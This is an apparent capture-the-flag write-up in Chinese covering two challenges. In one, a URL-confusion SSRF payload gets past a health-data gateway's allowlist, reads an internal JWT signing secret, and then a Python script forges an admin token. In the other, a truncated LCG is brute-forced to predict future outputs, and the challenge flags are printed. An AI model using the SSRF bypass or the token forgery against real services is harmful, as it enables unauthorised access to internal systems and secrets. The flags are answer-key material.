[+] proof so far: 3a69f77a923eb27ed6e0d94d3eb60cfd
[FINAL PROOF] 3a69f77a923eb27ed6e0d94d3eb60cfd
SDG{e029117963fc9d2ae9dfd9e6e5089627}
Clinical Gateway SSRF
系统信息给了:
{
"ok": true,
"system": "MedFed API Gateway v3.0",
"description": "Federated health data gateway for the SDG 3 research network. Proxies requests to approved WHO health data sources.",
"architecture": {
"public_layer": "This gateway (external-facing)",
"config_layer": "internal-config.mednet.local — configuration and secret management (internal network only)",
"admin_layer": "admin-portal.mednet.local — privileged admin operations (internal only)"
},
"endpoints": {
"proxy": "?action=proxy&url=<url> — proxy a request to an allowlisted health data URL"
},
"proxy_allowlist": "Only health-api.who.int endpoints are permitted.",
"admin_note": "Admin operations are only accessible via the internal network through the proxy."
}构造payload:https://health-api.who.int@internal-config.mednet.local/
去secrets下看响应:
{"ok":true,"proxied_url":"https://health-api.who.int@internal-config.mednet.local/secrets","status":200,"response":{"_classification":"INTERNAL — NOT FOR EXTERNAL ACCESS","service":"MedFed API Config Service v1.2","environment":"production","jwt_signing_secret":"3e1f69483e1f69473e1f69463e1f6945","admin_role":"medfed_admin","token_expiry_seconds":3600}}现在拿到的是:
jwt_signing_secret = 3e1f69483e1f69473e1f69463e1f6945admin_role = medfed_admintoken_expiry_seconds = 3600
所以接下来要做的是:
- 自己伪造一个 JWT
- payload 里放管理员角色
- 用这个 JWT 当
Authorization: Bearer <token> - 去打
admin-portal.mednet.local
最可能的算法是 HS256。
生成 token:
import jwt, time
secret = "3e1f69483e1f69473e1f69463e1f6945"
now = int(time.time())
payload = {
"role": "medfed_admin",
"iat": now,
"exp": now + 3600
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
'''eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoibWVkZmVkX2FkbWluIiwiaWF0IjoxNzc0OTM2MzY3LCJleHAiOjE3NzQ5Mzk5Njd9.ghgoqSHvd9ag-jKuS-omqP0XyTgTbQGIH6fLWx5VfYE'''把生成的jwt令牌进行验证即可:
SDG{f6811c8ac3a6b5233784dbd17b158b52}
Genome LCG Oracle
{
"ok": true,
"system": "GenomeRand Clinical Randomization System v1.0",
"description": "Pseudorandom assignment engine for double-blind genomic trials (SDG 3 research network).",
"lcg_parameters": {
"a": 1664525,
"c": 1013904223,
"m": 4294967296,
"output": "high 16 bits of 32-bit state (state >>> 16)",
"note": "LCG parameters are published in the trial protocol for reproducibility verification."
},
"endpoints": {
"next": "?action=next&position=<0-9> — observe the randomization output at that position",
"certify": "?action=certify&prediction=<integer> — submit your predicted output at position 100"
},
"challenge": "The initial LCG state is hidden. Recover it from observable outputs (positions 0-9), then predict the output at position 100 to obtain trial certification.",
"hints": [
"The output is only the HIGH 16 bits of the full 32-bit internal state.",
"With two consecutive outputs, you can enumerate all 2^16 possible low-16-bit values for the state.",
"For each candidate state, verify it by checking whether applying the LCG once matches the next output.",
"Once you have the full state at position N, iterate the LCG forward to position 100."
]
}
{
"ok": true,
"position": 0,
"output": 50383,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 1,
"output": 18563,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 2,
"output": 20506,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 3,
"output": 8072,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 4,
"output": 48125,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 5,
"output": 3917,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 6,
"output": 7486,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 7,
"output": 21992,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 8,
"output": 42234,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}{
"ok": true,
"position": 9,
"output": 50464,
"note": "Output is the high 16 bits (state >>> 16) of the internal 32-bit LCG state at this position."
}已知 LCG:
state_{n+1} = (1664525 * state_n + 1013904223) mod 2^32
output_n = state_n >>> 16拿到了:
output_0 = 50383
output_1 = 18563
...因为 output_0 只给了高 16 位,所以:
state_0 = (50383 << 16) | low16把 low16 从 0..65535 全枚举,再检查推进一步后高 16 位是否等于 18563。
唯一解是:
state_0 = 3301950801 = 0xC4CFC551往后推,前 10 项正好对应你拿到的观测值:
50383, 18563, 20506, 8072, 48125, 3917, 7486, 21992, 42234, 50464再继续迭代到位置 100,得到:
output_100 = 50019SDG{4607fa424c02d98dd4e13ea1740ef428}
